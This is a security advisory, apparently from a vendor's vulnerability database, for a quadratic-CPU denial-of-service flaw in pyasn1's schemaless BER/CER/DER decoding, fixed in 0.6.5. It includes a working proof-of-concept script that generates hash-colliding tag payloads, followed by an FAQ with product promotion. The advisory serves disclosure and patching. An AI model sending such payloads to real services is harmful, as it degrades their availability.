Summary
pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding
When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.
Details
ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.
Proof of concept
Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:
import sys
import time
from pyasn1.codec.ber import decoder
from pyasn1.type import univ
def enc_tag(tag_id):
groups = [tag_id & 0x7f]
tag_id >>= 7
while tag_id:
groups.append((tag_id & 0x7f) | 0x80)
tag_id >>= 7
return b'\xbf' + bytes(reversed(groups))
def payload(tag_ids):
body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
for tag_id in tag_ids)
length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
return b'\x30' + bytes([0x80 | len(length)]) + length + body
for count in (3200, 6400):
cases = (
("collision", [32 + i * sys.hash_info.modulus
for i in range(count)]),
("control", [(1 << 70) + i for i in range(count)]),
)
for name, tag_ids in cases:
wire = payload(tag_ids)
start = time.process_time()
value, remainder = decoder.decode(wire)
cpu_seconds = time.process_time() - start
assert type(value) is univ.Sequence
assert len(value) == count and remainder == b''
for position, tag_id in enumerate(tag_ids):
component = value.getComponentByPosition(position)
assert component.asOctets() == b'A'
assert component.tagSet[-1].tagId == tag_id
print(count, name, len(wire), round(cpu_seconds, 3))
Impact
Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.
CVE-2026-119194 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.6.5); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-119194? CVE-2026-119194 is a high-severity security vulnerability in pyasn1 (pip), affecting versions >= 0.3.3, < 0.6.5. It is fixed in 0.6.5.
- How severe is CVE-2026-119194? CVE-2026-119194 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of pyasn1 are affected by CVE-2026-119194? pyasn1 (pip) versions >= 0.3.3, < 0.6.5 is affected.
- Is there a fix for CVE-2026-119194? Yes. CVE-2026-119194 is fixed in 0.6.5. Upgrade to this version or later.
- Is CVE-2026-119194 exploitable, and should I be worried? Whether CVE-2026-119194 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-119194 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-119194? Upgrade
pyasn1to 0.6.5 or later.